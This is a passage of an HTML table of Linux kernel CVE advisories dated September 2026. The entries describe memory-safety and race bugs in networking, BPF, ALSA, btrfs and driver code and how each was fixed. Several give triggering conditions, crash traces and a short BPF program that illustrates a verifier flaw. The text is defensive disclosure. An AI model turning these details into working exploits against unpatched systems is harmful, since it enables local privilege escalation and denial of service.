&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/amd: Fix ineffective error check in nested domain allocation amd_iommu_pdom_id_alloc() returns an int: a domain ID on success, or the negative errno from ida_alloc_range() when the ID space is exhausted or memory is short. amd_iommu_alloc_domain_nested() stores that return value in gdom_info-&amp;gt;hdom_id, which is a u32, and only then tests it: gdom_info-&amp;gt;hdom_id = amd_iommu_pdom_id_alloc(); if (gdom_info-&amp;gt;hdom_id &amp;lt;= 0) { The assignment discards the sign, so -ENOSPC becomes 0xffffffe4 and the test never fires. The nested domain is then set up with a host domain ID that was never allocated, instead of the allocation failing with -ENOSPC. Keep the value in an int, test it there, and store it only once it is known to be valid, which is what the other amd_iommu_pdom_id_alloc() callers already do.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98002&quot; target=&quot;_blank&quot;&gt;CVE-2026-98002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: defer qdisc freeing after failed creation An RTM_NEWQDISC request can make clsact bind a populated shared ingress block during -&amp;gt;init(), publishing an embedded mini_Qdisc to lockless readers. If the same request has an invalid TCA_RATE, estimator setup fails after -&amp;gt;init(); the unwind removes the pointer but synchronously frees its containing qdisc while tc_run() may still hold it. Retire failed qdiscs through the same RCU helper as normal destruction. Inline the synchronous free into the callback now that no direct callers remain.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98017&quot; target=&quot;_blank&quot;&gt;CVE-2026-98017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vxlan: reject dynamic fdb entries that reference a nexthop id The commit cited in the Fixes tag allowed VXLAN FDB entries to point to FDB nexthops so that overlay traffic could be load balanced across multiple VTEPs. Such entries can only be configured from user space, cannot be learned and cannot roam. They only make sense with a user space control plane such as E-VPN where data plane learning is disabled. Despite that, the VXLAN driver does not currently prevent such entries from being configured with the &quot;dynamic&quot; flag. The per-nexthop FDB list is only protected by the per-device hash lock, which is not sufficient when two VXLAN devices point to the same FDB nexthop and therefore share the list. Aging runs in softirq context without RTNL, so an entry deleted by one device can race with an addition or deletion from the other, leading to list corruption: list_del corruption. next-&amp;gt;prev should be ffff8881069d9548, but was dead000000000122. (next=ffff8881069d9448) WARNING: CPU: 0 PID: 90 at lib/list_debug.c:65 __list_del_entry_valid_or_report+0x1aa/0x210 ... vxlan_fdb_destroy+0x5b8/0xad0 vxlan_cleanup+0x328/0x450 call_timer_fn+0x2a/0x1c0 run_timer_softirq+0x18c/0x210 BUG: KASAN: slab-use-after-free in vxlan_fdb_destroy Fix this by rejecting the bogus configuration of dynamic FDB entries that point to FDB nexthops, both when created and when an existing entry is updated. As such, the per-nexthop FDB list is only ever mutated under the RTNL lock. Add test cases to make sure that this does not regress in the future.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98023&quot; target=&quot;_blank&quot;&gt;CVE-2026-98023&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: dsa: mv88e6xxx: bound the policy rule dump by the caller&#039;s buffer size mv88e6xxx_get_rxnfc() uses rxnfc-&amp;gt;rule_cnt as the write index while dumping the policy IDR, clobbering the input value before it has been looked at. That input is the number of entries the caller had room for. ETHTOOL_GRXCLSRLALL requires no CAP_NET_ADMIN and the ioctl sizes the buffer from the rule_cnt userspace passes in, so once an admin has installed policy rules any user can ask for fewer slots than there are rules and run off the end of the allocation. A rule_cnt of 0 leaves the buffer pointer NULL and the walk dereferences it. Count into a local so the caller&#039;s limit survives the walk, and stop with -EMSGSIZE once it is reached.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98027&quot; target=&quot;_blank&quot;&gt;CVE-2026-98027&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: eth: nfp: bound the ntuple rule dump by the caller&#039;s buffer size nfp_net_get_fs_loc() dumps every entry of nn-&amp;gt;fs.list into rule_locs[] without consulting cmd-&amp;gt;rule_cnt, which is how many entries the caller had room for. ETHTOOL_GRXCLSRLALL requires no CAP_NET_ADMIN and the ioctl sizes the buffer from the rule_cnt userspace passes in, so once an admin has installed flow steering rules any user can ask for fewer slots than there are rules and run off the end of the allocation. A rule_cnt of 0 leaves the buffer pointer NULL and the walk dereferences it. Bail out with -EMSGSIZE when the buffer fills up, the way the other ntuple capable drivers do, and report how many locations were filled so a shrinking rule list does not leave the caller reading stale slots.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98029&quot; target=&quot;_blank&quot;&gt;CVE-2026-98029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: dsa: bcm_sf2: bound the CFP rule dump by the caller&#039;s buffer size bcm_sf2_cfp_rule_get_all() walks the whole cfp.unique bitmap into rule_locs[] without consulting nfc-&amp;gt;rule_cnt, which is how many entries the caller had room for. ETHTOOL_GRXCLSRLALL requires no CAP_NET_ADMIN and the ioctl sizes the buffer from the rule_cnt userspace passes in, so once an admin has installed CFP rules any user can ask for fewer slots than there are rules and run off the end of the allocation. A rule_cnt of 0 leaves the buffer pointer NULL and the walk dereferences it.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98030&quot; target=&quot;_blank&quot;&gt;CVE-2026-98030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Don&#039;t predict JMP32 pointer vs zero comparisons Consider the following program: r1 = map_value; /* low 32 bits are zero at runtime */ r6 = 0xdead000000000000; if w1 != 0 goto l1; l0: r1 += r6; r2 = *(u64 *)(r1 + 0); exit; l1: r6 = 0; goto l0; At the moment is_branch_taken() reports the jump as always taken, because it does not distinguish between BPF_JMP and BPF_JMP32 comparisons when processing &#039;if w1 != 0 ...&#039;.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98041&quot; target=&quot;_blank&quot;&gt;CVE-2026-98041&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mlxsw: spectrum_ptp: Fix napi_gro_receive() call from GC workqueue context Currently mlxsw_sp1_ptp_ht_gc_collect() is run from the PTP garbage-collection workqueue, rather than the NAPI poll context. For any unmatched PTP entries carrying an SKB, it calls mlxsw_sp1_ptp_unmatched_finish() -&amp;gt; mlxsw_sp1_ptp_packet_finish(). For ingress packets, this calls mlxsw_sp_rx_listener_no_mark_func(). The end of that function is the following: skb-&amp;gt;protocol = eth_type_trans(skb, skb-&amp;gt;dev); napi_gro_receive(mlxsw_skb_cb(skb)-&amp;gt;rx_md_info.napi, skb); The napi pointer is one that was placed in the SKB control block when the trapped packet was received in the NAPI context. Later, when the GC reaps the unmatched entry (up to MLXSW_SP1_PTP_HT_GC_TIMEOUT later), the call to napi_gro_receive() mutates the NAPI instance&#039;s GRO list, which is unsafe if the poll is running concurrently on another CPU. In mlxsw_sp1_ptp_ht_gc_collect(), local_bh_disable() is called to prevent softirq processing, but this only applies to the local CPU. Additionally, its comment is stale. It states that mlxsw_sp1_ptp_unmatched_finish() invokes netif_receive_skb(). This has not been accurate since the referenced commit; this patch makes that comment accurate again. mlxsw_pci_napi_devs_init() calls netif_threaded_enable() on the NAPI RX net_device without any conditions. The NAPI instance&#039;s poll, which may be running concurrent to the GC, is running as an independently-scheduled kthread which may be on a different CPU. The call to local_bh_disable() does not guard against this. If a tx-timestamp timeout produces an unmatched entry (which can be easily reproduced by running ptp4l and waiting for a port to reach the UNCALIBRATED/SLAVE state) while the owning NAPI thread is in the middle of a poll on another CPU, both sides mutate the GRO list concurrently, as shown below: [39.846] port 1 (swp1): MASTER to UNCALIBRATED on RS_SLAVE list_add corruption. next-&amp;gt;prev should be prev (ffff8d620faf4138), but was ffff8d624150f700. (next=ffff8d620faf4138). kernel BUG at lib/list_debug.c:29! Oops: invalid opcode: 0000 [#1] SMP PTI CPU: 1 UID: 0 PID: 539 Comm: napi/mlxsw_rx-0 Not tainted 6.18.48 #1-NixOS PREEMPT(lazy) Hardware name: Mellanox Technologies Ltd. MSN2410/VMOD0001, BIOS 4.6.5 09/13/2018 RIP: 0010:__list_add_valid_or_report+0x79/0xb0 RSP: 0018:ffffcdf8c0f27c08 EFLAGS: 00010246 RAX: 0000000000000075 RBX: ffff8d624150fd00 RCX: 0000000000000000 RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffff8d6315d1e540 RBP: ffff8d620faf4070 R08: 0000000000000000 R09: 00000000ffffdfff R10: ffffffffa5c60fe0 R11: ffffcdf8c0f27ab8 R12: 0000000000000003 R13: 000000000000003d R14: 00000000000001bc R15: 0000000000000001 FS: 0000000000000000(0000) GS:ffff8d636f63f000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000562689a60c24 CR3: 000000015f224004 CR4: 00000000001726f0 Call Trace: &amp;lt;TASK&amp;gt; gro_receive_skb+0xee/0x230 mlxsw_sp1_ptp_got_packet+0x61/0x140 [mlxsw_spectrum] mlxsw_core_skb_receive+0xdf/0x1b0 [mlxsw_core] mlxsw_pci_napi_poll_cq_rx+0x780/0x9d0 [mlxsw_pci] __napi_poll+0x31/0x1e0 napi_threaded_poll_loop+0x16b/0x1c0 napi_threaded_poll+0x71/0xa0 kthread+0xfb/0x260 ret_from_fork+0x22d/0x260 ret_from_fork_asm+0x1a/0x30 &amp;lt;/TASK&amp;gt; Kernel panic - not syncing: Fatal exception in interrupt The machinery that leads to this kernel panic has not been changed between 6.18.48 and mainline. This patch adds an ingress-delivery helper for the PTP packet_finish() path that calls netif_receive_skb() instead of napi_gro_receive(). netif_receive_skb(), unlike napi_gro_receive(), can be called from outside of the NAPI instance&#039;s poll context, which can occur at the call site for this path. RX stats accounting and the skb-&amp;gt;dev assignment are still preserved; the only change is the delivery call itself. This removes GR ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98050&quot; target=&quot;_blank&quot;&gt;CVE-2026-98050&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: bcmasp: clear txcb-&amp;gt;last before writing each descriptor bcmasp_xmit() only wrote txcb-&amp;gt;last = true for the final fragment of an SKB; non-final fragments left the field untouched. If a descriptor slot was reused while it still held a stale true from a previous SKB (possible when tx_spb_ring_full() underreported fullness), bcmasp_tx_reclaim() would see last == true mid-SKB and call dev_consume_skb_any() prematurely, freeing the sk_buff while its remaining fragments were still in flight. Unconditionally clear txcb-&amp;gt;last before the conditional set so every descriptor slot starts from a known false state regardless of what a prior transmission left behind.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98052&quot; target=&quot;_blank&quot;&gt;CVE-2026-98052&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme: remove stale namespaces by NSID range during scan nvme_scan_ns_list() drops the stale namespaces in each gap in the reported NSID list one NSID at a time. Every iteration calls nvme_find_get_ns() to look the namespace up and removes it if it is present. The loop runs once per NSID in the gap rather than once per namespace actually present. NSIDs are 32-bit, so a target with a sparse NSID space can make a single gap spin the loop billions of times with nothing to remove. watchdog: BUG: soft lockup - CPU#4 stuck for 26s! Workqueue: nvme-wq nvme_scan_work [nvme_core] RIP: 0010:__srcu_read_unlock+0xb/0x20 Call Trace: nvme_find_get_ns+0x7d/0xb0 [nvme_core] nvme_scan_ns_list+0xe8/0x280 [nvme_core] nvme_scan_work+0x18a/0x280 [nvme_core] process_one_work+0x197/0x380 worker_thread+0x2fe/0x410 kthread+0xe0/0x100 Rename nvme_remove_invalid_namespaces() to nvme_remove_nsid_range() and give it an open (start, end) NSID range. ctrl-&amp;gt;namespaces is sorted by NSID, so the whole gap is dropped in a single walk that stops once end is reached. This bounds the work by the namespaces that are present instead of by the size of the gap.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98056&quot; target=&quot;_blank&quot;&gt;CVE-2026-98056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: Remove conflicting altnames for dying netns in __dev_change_net_namespace(). syzbot reported the warning in cfg80211_pernet_exit(). [0] The repro does the following: 1. create two device in root netns and non-root netns 2. assign the same altname for the two devices 3. remove the non-root netns Since commit 7663d522099e (&quot;net: check for altname conflicts when changing netdev&#039;s netns&quot;), cfg80211_switch_netns() and cfg802154_switch_netns() fail if init_net has a device with the conflicting altname. default_device_exit_net() had the same issue and commit d09486a04f5d (&quot;net: fix removing a namespace with conflicting altnames&quot;) fixed it. cfg80211_pernet_exit() and cfg802154_pernet_exit() need the same fix. Let&#039;s generalise the fix by removing conflicting altnames for dying netns in __dev_change_net_namespace(). [0]: cfg80211_switch_netns(rdev, &amp;amp;init_net) WARNING: net/wireless/core.c:1871 at cfg80211_pernet_exit+0xd5/0x120 net/wireless/core.c:1871, CPU#1: kworker/u8:9/1160 Modules linked in: CPU: 1 UID: 0 PID: 1160 Comm: kworker/u8:9 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026 Workqueue: netns cleanup_net RIP: 0010:cfg80211_pernet_exit+0xd5/0x120 net/wireless/core.c:1871 Code: e8 03 42 80 3c 20 00 74 08 4c 89 f7 e8 b4 ef 0e f7 4d 8b 36 49 81 fe 20 10 4a 90 74 12 e8 03 3d 9f f6 eb 85 e8 fc 3c 9f f6 90 &amp;lt;0f&amp;gt; 0b 90 eb cc e8 f1 3c 9f f6 eb 05 e8 ea 3c 9f f6 5b 41 5c 41 5e RSP: 0018:ffffc900057a78f0 EFLAGS: 00010293 RAX: ffffffff8b287154 RBX: ffff88807ba72780 RCX: ffff8880213e8000 RDX: 0000000000000000 RSI: 00000000ffffffef RDI: 0000000000000000 RBP: 00000000ffffffef R08: ffffffff9024cc67 R09: 0000000000000000 R10: fffff52000af4eb0 R11: fffffbfff204998d R12: dffffc0000000000 R13: ffffffff904a1080 R14: ffff888144ed0008 R15: ffff888144ed0e20 FS: 0000000000000000(0000) GS:ffff888124de6000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00005642de0a8a70 CR3: 000000007a40c000 CR4: 00000000003526f0 Call Trace: &amp;lt;TASK&amp;gt; ops_exit_list net/core/net_namespace.c:200 [inline] ops_undo_list+0x43d/0x8d0 net/core/net_namespace.c:253 cleanup_net+0x572/0x810 net/core/net_namespace.c:706 process_one_work kernel/workqueue.c:3387 [inline] process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551 kthread+0x38b/0x480 kernel/kthread.c:436 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 &amp;lt;/TASK&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98073&quot; target=&quot;_blank&quot;&gt;CVE-2026-98073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: fix transaction use-after-free in raid stripe insertion If allocation of a RAID stripe extent fails, btrfs_insert_one_raid_extent() aborts and ends the transaction before returning -ENOMEM. btrfs_finish_one_ordered(), the production caller through btrfs_insert_raid_extent(), still owns the transaction handle. It handles the error by aborting the transaction and then reaches the common exit path, which ends the transaction again. The premature end can free the handle and drop its transaction reference. Transaction cleanup can then free the transaction before the caller&#039;s second abort accesses the handle and transaction, resulting in use-after-free. Keep the abort at the failure site, but let the caller&#039;s common exit path end the transaction once, after it has finished using both objects.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98083&quot; target=&quot;_blank&quot;&gt;CVE-2026-98083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv6: sr: restore network header before routing and forwarding ipv6_srh_rcv() runs with skb-&amp;gt;data at the Segment Routing Header (SRH) while skb_network_header() points at the IPv6 header. When segments_left &amp;gt; 0, ipv6_srh_rcv() previously restored the skb-&amp;gt;data position by pushing sizeof(struct ipv6hdr), assuming the SRH immediately followed the fixed IPv6 header. If another extension header (such as a Hop-by-Hop options header) precedes the SRH, skb_network_offset() remained negative. This led to two problems: 1. During ip6_route_input(), fib6_rules_early_flow_dissect() invokes __skb_flow_dissect() which passes the negative skb_network_offset() to flow dissection, breaking BPF and C flow dissector logic. 2. If forwarded via ip6_forward() or redirected via act_mirred, downstream handlers (like sch_fragment() or neighbour output) pass the negative offset as an unsigned length, triggering OOB memcpy or buffer overflows. Fix this by pushing -skb_network_offset(skb) before routing, ensuring skb_network_offset(skb) is 0 for route lookup / flow dissection as well as downstream forwarding. On the loopback path, pull skb_transport_offset(skb) to restore skb-&amp;gt;data to the SRH before looping back.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98096&quot; target=&quot;_blank&quot;&gt;CVE-2026-98096&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: fix chan mode for LE_CONN_REQ + EXT_FLOWCTL pchan l2cap_new_connection() sets default value of channel mode to match the parent channel. l2cap_le_connect_req() left this at the default, and created L2CAP_MODE_EXT_FLOWCTL channels if listening pchan has that mode. This causes FLAG_DEFER_SETUP channels to reply to L2CAP_LE_CONN_REQ with L2CAP_ECRED_CONN_RSP, which is incorrect. It can also result to stack OOB write (of l2cap_alloc_cid determined values) in l2cap_ecred_rsp_defer(), as l2cap_le_connect_req() does not limit maximum number of deferred channels or check for duplicate ident. Fix by setting chan-&amp;gt;mode correctly in l2cap_le_connect_req(). Also check channel mode in l2cap_ecred_rsp_defer(), and do WARN_ON_ONCE instead of OOB write to make it less brittle.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98108&quot; target=&quot;_blank&quot;&gt;CVE-2026-98108&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix listener task lifetime on netdev events The listener thread exits when its listening socket is shutdown. The netdevice notifier shuts down the socket before calling kthread_stop(), so the task_struct can be freed before kthread_stop() gets its reference. Create the listener in a stopped state and hold an extra task_struct reference until kthread_stop_put() completes. Also stop and release listeners before freeing their interface records during TCP teardown.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98112&quot; target=&quot;_blank&quot;&gt;CVE-2026-98112&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF snd_pcm_hw_params() and snd_pcm_hw_free() guard buffer reallocation with an mmap_count check performed under the PCM stream lock, but the lock is released long before the buffer is actually freed: snd_pcm_sync_stop(), constraint refinement and do_free_pages() all happen in between. snd_pcm_mmap_data(), on the other hand, takes no lock at all: it validates against the old buffer&#039;s state and dma_bytes, remaps its pages into the VMA, and only then increments mmap_count. A concurrent mmap() can therefore slip in between the check and the free. remap_pfn_range() installs writable PTEs for the old buffer&#039;s pages without taking page references, and the subsequent do_free_pages() returns those pages to the page allocator while the VMA still maps them. This leaves a stale, writable mapping of freed pages: a page-level use-after-free that can be leveraged for local privilege escalation. Make snd_pcm_mmap_data() participate in the buffer-access scheme introduced for hw_params/hw_free: acquire runtime-&amp;gt;buffer_accessing before validating and remapping, and release it afterwards. Buffer reallocation already fails with -EBUSY while accessors are active, and the mmap side now fails with -EBUSY while a reallocation is in progress, so the validate/remap sequence and the check/free sequence can no longer interleave. A reproducer that turns this race into a stale writable mapping of the freed DMA buffer pages is available on request.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98116&quot; target=&quot;_blank&quot;&gt;CVE-2026-98116&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vxlan: mdb: Fix use-after-free in vxlan_mdb_remote_src_del() vxlan_mdb_is_valid_source(), which validates MDBE_ATTR_SOURCE and every MDBE_ATTR_SRC_LIST member, accepts the all-zeros address. A source list is only accepted on a (*, G) entry, whose source is the all-zeros address, and for each member of the list an (S, G) entry is derived from it by substituting the source. Entries are keyed by a plain memcmp() of struct vxlan_mdb_entry_key, so if MDBE_ATTR_SOURCE is present and holds the all-zeros address and the source list holds it as well, the derived (S, G) key is byte-identical to the (*, G) key and resolves to the same entry. Omitting MDBE_ATTR_SOURCE is not equivalent, as the key is then left with a zero address family. vxlan_mdb_remote_src_del() removes the forwarding entry of a source before freeing the source entry: vxlan_mdb_remote_src_fwd_del(vxlan, group, remote, &amp;amp;ent-&amp;gt;addr); vxlan_mdb_remote_src_entry_del(ent); With the keys aliased, the first call deletes the remote of the entry that owns &#039;ent&#039; instead of a separate (S, G) entry, and frees &#039;ent&#039;. The second call then runs on the freed entry, and its hlist_del() reads -&amp;gt;pprev and -&amp;gt;next out of it and writes through them. Adding the (*, G) entry with NLM_F_REPLACE and no source list marks the all-zeros source for deletion and reaches this from the sweep at the end of vxlan_mdb_remote_srcs_replace(). BUG: KASAN: slab-use-after-free in __vxlan_mdb_add+0x1cd/0xd70 Read of size 8 at addr ffff888102852500 by task poc/84 __vxlan_mdb_add+0x1cd/0xd70 vxlan_mdb_add+0xc0/0x140 rtnl_mdb_add+0x157/0x2a0 rtnetlink_rcv_msg+0x207/0x5a0 Allocated by task 84: __kmalloc_cache_noprof+0x153/0x360 vxlan_mdb_remote_srcs_add+0x2eb/0x440 __vxlan_mdb_add+0x803/0xd70 Freed by task 84: kfree+0x14c/0x3b0 vxlan_mdb_remote_del+0x129/0x1a0 __vxlan_mdb_del+0x4f/0xe0 vxlan_mdb_remote_src_fwd_del.isra.0+0x162/0x1b0 __vxlan_mdb_add+0x1c5/0xd70 The MDB operations are netns-scoped, so an unprivileged user can perform them in a new user and network namespace. Reject the all-zeros address in vxlan_mdb_is_valid_source(), which covers both call sites. A (*, G) entry is expressed by omitting the source, so nothing legitimate is refused. Discovered by XBOW, triaged by Baul Lee &amp;lt;baul.lee@xbow.com&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98122&quot; target=&quot;_blank&quot;&gt;CVE-2026-98122&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel: ethosu: Don&#039;t read the U65 rounding mode as a storage mode Bits 15:14 of NPU_SET_{IFM,OFM}_PRECISION select the activation storage mode on U85 only. On U65 the same field holds the rounding mode, and the command stream parser has read it as a storage mode since the driver was added. That went unnoticed while unknown values fell through the switch, but now that they are rejected, every U65 command stream that asks for natural rounding (2) fails CMDSTREAM_BO_CREATE with -EINVAL. Mesa emits it for average pooling, concatenation, split, unpack, strided slice, LUT and argmax, which is 72 failures of the Teflon test suite on an i.MX93. Truncating rounding (1) is misread as well: it picks the two-tile address path and computes a bogus feature map size from tile bases the command stream never set. Read the field as a storage mode only on the hardware where it is one.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98143&quot; target=&quot;_blank&quot;&gt;CVE-2026-98143&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix BPF_F_CPU validation for sparse CPU IDs BPF_F_CPU stores the target CPU ID in the upper 32 bits of the map operation flags. bpf_map_check_op_flags() currently compares that ID with num_possible_cpus(), which is the number of possible CPUs rather than a bound on CPU IDs. On an arm64 QEMU guest with a CPU device-tree hole, the possible CPU mask was 0,2-3. A userspace program using raw bpf() syscalls creates a BPF_MAP_TYPE_PERCPU_ARRAY and performs update and lookup operations for each CPU by setting BPF_F_CPU and the CPU ID in the flags. With the old check, CPU 1 is incorrectly accepted while valid CPU 3 is rejected with -ERANGE. The CPU 1 update then reaches the per-CPU map access path and triggers: Unable to handle kernel paging request at virtual address ... pc : __pi_memcpy_generic+0x5c/0x22c lr : bpf_percpu_array_update+0x2dc/0x2e8 Call trace: __pi_memcpy_generic bpf_map_update_value map_update_elem __sys_bpf Check the CPU ID against nr_cpu_ids and cpu_possible() instead. This rejects CPU IDs outside the valid range and CPUs absent from the possible mask, while allowing valid sparse CPU IDs.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-98150&quot; target=&quot;_blank&quot;&gt;CVE-2026-98150&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
